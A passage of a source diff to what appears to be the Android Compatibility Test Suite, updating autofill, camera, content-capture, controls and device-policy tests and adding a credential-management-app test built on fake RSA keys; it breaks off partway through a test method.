import android.autofillservice.cts.testcore.Helper;
import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
import android.view.KeyEvent;
import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
import androidx.test.filters.FlakyTest;
@@ -82,8 +85,14 @@
// Trigger autofill.
mActivity.getUsernameInput().click();
- sReplier.getNextFillRequest();
- sAugmentedReplier.getNextFillRequest();
+
+ final FillRequest autofillRequest = sReplier.getNextFillRequest();
+ AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+ final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+ // Assert request
+ AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+ (AutofillValue) null);
// Assert not shown.
mUiBot.assertNoDatasetsEver();
@@ -146,7 +155,12 @@
.build())
.build());
- sAugmentedReplier.getNextFillRequest();
+ final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+ // Assert request
+ AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+ (AutofillValue) null);
+
final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
// Now Autofill it.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
index 45354e0..3f08397 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -144,5 +144,8 @@
assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
final ComponentName component2 = structure2.getActivityComponent();
assertThat(component2).isEqualTo(activity2.getComponentName());
+ activity2.syncRunOnUiThread(() -> {
+ activity2.mInput.setFocusable(false);
+ });
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
index 0e3a6f6..fef24f1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -24,6 +24,7 @@
import static com.google.common.truth.Truth.assertWithMessage;
import android.app.Activity;
+import android.app.assist.AssistStructure;
import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
import android.content.ComponentName;
import android.service.autofill.augmented.FillRequest;
@@ -77,27 +78,13 @@
public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
@NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
- @NonNull AutofillValue expectedFocusedValue) {
- assertBasicRequestInfo(request, activity, expectedFocusedId,
- expectedFocusedValue.getTextValue().toString());
- }
-
- public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
- @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
- @NonNull String expectedFocusedValue) {
+ @Nullable AutofillValue expectedFocusedValue) {
assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
}
public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
@NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
- @NonNull AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
- assertBasicRequestInfo(request, activity, expectedFocusedId,
- expectedFocusedValue.getTextValue().toString(), hasInlineRequest);
- }
-
- private static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
- @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
- @NonNull String expectedFocusedValue, boolean hasInlineRequest) {
+ @Nullable AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
Objects.requireNonNull(activity);
Objects.requireNonNull(expectedFocusedId);
assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
@@ -119,8 +106,27 @@
assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
.isEqualTo(expectedFocusedId);
final AutofillValue actualFocusedValue = request.request.getFocusedValue();
- assertWithMessage("no focused value on %s", request).that(actualFocusedValue).isNotNull();
- assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+ if (expectedFocusedValue != null) {
+ assertWithMessage("no focused value on %s", request).that(
+ actualFocusedValue).isNotNull();
+ assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+ } else {
+ assertWithMessage("expecting null focused value on %s", request).that(
+ actualFocusedValue).isNull();
+ }
+ if (expectedFocusedId.isNonVirtual()) {
+ final AssistStructure.ViewNode focusedViewNode = request.request.getFocusedViewNode();
+ assertWithMessage("no focused view node on %s", request).that(
+ focusedViewNode).isNotNull();
+ assertWithMessage("wrong autofill id in focused view node %s", focusedViewNode).that(
+ focusedViewNode.getAutofillId()).isEqualTo(expectedFocusedId);
+ assertWithMessage("unexpected autofill value in focused view node %s",
+ focusedViewNode).that(focusedViewNode.getAutofillValue()).isEqualTo(
+ expectedFocusedValue);
+ assertWithMessage("children nodes should not be populated for focused view node %s",
+ focusedViewNode).that(
+ focusedViewNode.getChildCount()).isEqualTo(0);
+ }
final InlineSuggestionsRequest inlineRequest =
request.request.getInlineSuggestionsRequest();
if (hasInlineRequest) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
index a04ca50..8297163 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
@@ -27,6 +27,7 @@
import android.app.slice.Slice;
import android.app.slice.SliceSpec;
import android.content.ClipData;
+import android.content.Intent;
import android.content.IntentSender;
import android.net.Uri;
import android.os.Parcel;
@@ -233,6 +234,13 @@
}
@Test
+ public void testBuilder_setContentWithIntentIsNotAllowed() {
+ Dataset.Builder builder = new Dataset.Builder();
+ ClipData clip = ClipData.newIntent("", new Intent());
+ assertThrows(IllegalArgumentException.class, () -> builder.setContent(mId, clip));
+ }
+
+ @Test
public void testBuilder_setContentAcceptsNullContent() {
// It's valid to pass null content, e.g. when wanting to trigger the auth flow.
Dataset.Builder builder = new Dataset.Builder().setContent(mId, null);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index ff1bdb7..87b132d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -37,6 +37,7 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Pair;
@@ -640,6 +641,19 @@
otherQueue.size() == 0);
}
+ private void verifySingleAvailabilityCbsReceived(LinkedBlockingQueue<String> expectedEventQueue,
+ LinkedBlockingQueue<String> unExpectedEventQueue, String expectedId,
+ String expectedStr, String unExpectedStr) throws Exception {
+ String candidateId = expectedEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
+ java.util.concurrent.TimeUnit.MILLISECONDS);
+ assertTrue("Received " + expectedStr + " notice for wrong ID, " +
+ "expected " + expectedId + ", got " + candidateId, expectedId.equals(candidateId));
+ assertTrue("Received > 1 " + expectedStr + " callback for id " + expectedId,
+ expectedEventQueue.size() == 0);
+ assertTrue(unExpectedStr + " events received unexpectedly",
+ unExpectedEventQueue.size() == 0);
+ }
+
private void testCameraManagerListenerCallbacks(boolean useExecutor) throws Exception {
final LinkedBlockingQueue<String> availableEventQueue = new LinkedBlockingQueue<>();
@@ -651,20 +665,17 @@
final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
new LinkedBlockingQueue<>();
+ final LinkedBlockingQueue<String> onCameraOpenedEventQueue = new LinkedBlockingQueue<>();
+ final LinkedBlockingQueue<String> onCameraClosedEventQueue = new LinkedBlockingQueue<>();
+
CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
@Override
public void onCameraAvailable(String cameraId) {
- try {
- // When we're testing system cameras, we don't list non system cameras in the
- // camera id list as mentioned in Camera2ParameterizedTest.java
- if (mAdoptShellPerm &&
- !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
- return;
- }
- } catch (CameraAccessException e) {
- fail("CameraAccessException thrown when attempting to access camera" +
- "characteristics" + cameraId);
- }
+ // We allow this callback irrespective of mAdoptShellPerm since for this particular
+ // test, in the case when shell permissions are adopted we test all cameras, for
+ // simplicity. This is since when mAdoptShellPerm is false, we can't test for
+ // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+ // So, to test all cameras, we test them when we adopt shell permission identity.
availableEventQueue.offer(cameraId);
}
@@ -682,6 +693,20 @@
public void onPhysicalCameraUnavailable(String cameraId, String physicalCameraId) {
unavailablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
}
+
+ @Override
+ public void onCameraOpened(String cameraId, String packageId) {
+ String curPackageId = mContext.getPackageName();
+ assertTrue("Opening package should be " + curPackageId + ", was " + packageId,
+ curPackageId.equals(packageId));
+ onCameraOpenedEventQueue.offer(cameraId);
+ }
+
+ @Override
+ public void onCameraClosed(String cameraId) {
+ onCameraClosedEventQueue.offer(cameraId);
+ }
+
};
if (useExecutor) {
@@ -690,9 +715,15 @@
mCameraManager.registerAvailabilityCallback(ac, mHandler);
}
String[] cameras = mCameraIdsUnderTest;
+ if (mAdoptShellPerm) {
+ //when mAdoptShellPerm is false, we can't test for
+ // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+ // So, to test all cameras, we test them when we adopt shell permission identity.
+ cameras = mCameraManager.getCameraIdListNoLazy();
+ }
if (cameras.length == 0) {
- Log.i(TAG, "No cameras present, skipping test");
+ Log.i(TAG, "No cameras present, skipping test mAdoprPerm");
return;
}
@@ -722,14 +753,13 @@
// Then verify only open happened, and get the camera handle
CameraDevice camera = verifyCameraStateOpened(id, mockListener);
- // Verify that we see the expected 'unavailable' event.
- String candidateId = unavailableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
- java.util.concurrent.TimeUnit.MILLISECONDS);
- assertTrue(String.format("Received unavailability notice for wrong ID " +
- "(expected %s, got %s)", id, candidateId),
- id.equals(candidateId));
- assertTrue("Availability events received unexpectedly",
- availableEventQueue.size() == 0);
+ verifySingleAvailabilityCbsReceived(unavailableEventQueue,
+ availableEventQueue, id, "unavailability", "Availability");
+ if (mAdoptShellPerm) {
+ // Verify that we see the expected 'onCameraOpened' event.
+ verifySingleAvailabilityCbsReceived(onCameraOpenedEventQueue,
+ onCameraClosedEventQueue, id, "onCameraOpened", "onCameraClosed");
+ }
// Verify that we see the expected 'unavailable' events if this camera is a physical
// camera of another logical multi-camera
@@ -751,17 +781,16 @@
// Verify that we see the expected 'available' event after closing the camera
camera.close();
-
mCameraListener.waitForState(BlockingStateCallback.STATE_CLOSED,
CameraTestUtils.CAMERA_CLOSE_TIMEOUT_MS);
- candidateId = availableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
- java.util.concurrent.TimeUnit.MILLISECONDS);
- assertTrue(String.format("Received availability notice for wrong ID " +
- "(expected %s, got %s)", id, candidateId),
- id.equals(candidateId));
- assertTrue("Unavailability events received unexpectedly",
- unavailableEventQueue.size() == 0);
+ verifySingleAvailabilityCbsReceived(availableEventQueue, unavailableEventQueue,
+ id, "availability", "Unavailability");
+
+ if (mAdoptShellPerm) {
+ verifySingleAvailabilityCbsReceived(onCameraClosedEventQueue,
+ onCameraOpenedEventQueue, id, "onCameraClosed", "onCameraOpened");
+ }
expectedLogicalCameras = new HashSet<Pair<String, String>>(relatedLogicalCameras);
verifyAvailabilityCbsReceived(expectedLogicalCameras,
@@ -828,6 +857,7 @@
// Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
@Test
+ @AppModeFull(reason = "Instant apps can't access Test API")
public void testNoLegacyOnQ() throws Exception {
if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
// LEGACY still allowed for devices upgrading to Q
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 45d341b..9ef497a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -200,7 +200,7 @@
// Blocking stop preview
startTimeMs = SystemClock.elapsedRealtime();
- blockingStopPreview();
+ blockingStopRepeating();
stopPreviewTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
}
finally {
@@ -433,7 +433,7 @@
CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
WAIT_FOR_RESULT_TIMEOUT_MS);
- stopPreviewAndDrain();
+ blockingStopRepeating();
CameraTestUtils.closeImageReaders(readers);
readers = null;
@@ -655,7 +655,7 @@
CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
WAIT_FOR_RESULT_TIMEOUT_MS);
- stopPreview();
+ stopRepeating();
}
for (int i = 0; i < getResultTimes.length; i++) {
@@ -929,7 +929,7 @@
maxCaptureGapsMs[i] = maxTimestampGapMs;
}
- stopZslStreaming();
+ blockingStopRepeating();
String reprocessType = "YUV reprocessing";
if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1026,7 +1026,7 @@
}
}
- stopZslStreaming();
+ blockingStopRepeating();
String reprocessType = "YUV reprocessing";
if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1076,12 +1076,6 @@
zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
}
- private void stopZslStreaming() throws Exception {
- mTestRule.getCameraSession().stopRepeating();
- mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
- }
-
/**
* Wait for a certain number of frames, the images and results will be drained from the
* listeners to make sure that next reprocessing can get matched results and images.
@@ -1154,10 +1148,14 @@
/*listener*/null, /*handler*/null);
}
- private void blockingStopPreview() throws Exception {
- stopPreview();
+ /**
+ * Stop repeating requests for current camera and waiting for it to go back to idle, resulting
+ * in an idle device.
+ */
+ private void blockingStopRepeating() throws Exception {
+ stopRepeating();
mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+ BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
}
private void blockingStartPreview(String id, CaptureCallback listener,
@@ -1381,29 +1379,14 @@
}
/**
- * Stop preview for current camera device by closing the session.
+ * Stop the repeating requests of current camera.
* Does _not_ wait for the device to go idle
*/
- private void stopPreview() throws Exception {
+ private void stopRepeating() throws Exception {
// Stop repeat, wait for captures to complete, and disconnect from surfaces
if (mTestRule.getCameraSession() != null) {
if (VERBOSE) Log.v(TAG, "Stopping preview");
- mTestRule.getCameraSession().close();
- }
- }
-
- /**
- * Stop preview for current camera device by closing the session and waiting for it to close,
- * resulting in an idle device.
- */
- private void stopPreviewAndDrain() throws Exception {
- // Stop repeat, wait for captures to complete, and disconnect from surfaces
- if (mTestRule.getCameraSession() != null) {
- if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
- mTestRule.getCameraSession().close();
- mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_CLOSED,
- /*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
+ mTestRule.getCameraSession().stopRepeating();
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3a57e6e..03b1559 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1153,7 +1153,7 @@
// Stop recording and preview
stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
- /* stopCameraStreaming */false);
+ /* stopCameraStreaming */true);
// Convert number of frames camera produced into the duration in unit of ms.
float frameDurationMs = 1000.0f / profile.videoFrameRate;
float durationMs = 0.f;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index aa4fa9e..9d2375f 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -425,9 +425,15 @@
activity.syncRunOnUiThread(() -> {
activity.mUsername.setText("a");
activity.mUsername.setText("ab");
+ activity.mUsername.setText("");
+ activity.mUsername.setText("abc");
activity.mPassword.setText("d");
+ activity.mPassword.setText("");
+ activity.mPassword.setText("");
activity.mPassword.setText("de");
+ activity.mPassword.setText("def");
+ activity.mPassword.setText("");
activity.mUsername.setText("abc");
});
@@ -440,15 +446,20 @@
assertRightActivity(session, sessionId, activity);
- final int additionalEvents = 3;
+ final int additionalEvents = 8;
final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
additionalEvents);
final int i = LoginActivity.MIN_EVENTS;
assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
- assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
+ assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "");
assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+ assertViewTextChanged(events, i + 3, activity.mPassword.getAutofillId(), "d");
+ assertViewTextChanged(events, i + 4, activity.mPassword.getAutofillId(), "");
+ assertViewTextChanged(events, i + 5, activity.mPassword.getAutofillId(), "def");
+ assertViewTextChanged(events, i + 6, activity.mPassword.getAutofillId(), "");
+ assertViewTextChanged(events, i + 7, activity.mUsername.getAutofillId(), "abc");
activity.assertInitialViewsDisappeared(events, additionalEvents);
}
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
public void setUp() {
mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
}
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 94982a7..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -60,7 +60,7 @@
Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
- mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+ mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
@Test
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 5310e42..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -66,7 +66,7 @@
public CtsControlsService() {
mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index 4050795..34680e8 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -23,6 +23,8 @@
"testng", // used for assertThrows
// TODO: Remove this once we remove ui automator usage
"androidx.test.uiautomator_uiautomator",
+ "EventLib",
+ "ActivityContext"
],
srcs: ["src/**/*.java"],
test_suites: [
@@ -30,8 +32,5 @@
"vts10",
"general-tests",
],
- test_options: {
- extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
- },
sdk_version: "test_current",
}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index a809d68..ceceb7a 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.devicepolicy.cts"
android:targetSandboxVersion="2">
- <application>
+ <application android:testOnly="true">
<uses-library android:name="android.test.runner" />
<activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 23ca675..03cfe25 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
index 8ea32bc..ea5f246 100644
--- a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
+++ b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
@@ -24,6 +24,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunOnSecondaryUserTargetPreparer">
diff --git a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
index 951511d..f8a7faa 100644
--- a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
+++ b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..e759834
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.platform.test.annotations.Postsubmit;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.compatibility.common.util.BlockingCallback;
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CredentialManagementAppTest {
+
+ private static final PrivateKey PRIVATE_KEY =
+ getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+ private static final Certificate CERTIFICATE =
+ getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+ private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+ private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+ private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+ private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+ private static final String ALIAS = "com.android.test.rsa";
+ private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+ private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+ private final static Uri URI = Uri.parse("https://test.com");
+ private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+ new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+ .build();
+
+ private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+ "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+ private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+ private final int mUserId = Process.myUserHandle().getIdentifier();
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, /* flags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+ }
+
+ @Postsubmit
+ @Test
+ public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+ buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+ /* idAttestationFlags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+ throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+ Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+ setCredentialManagementApp();
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+ setCredentialManagementApp();
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Install keypair as credential management app
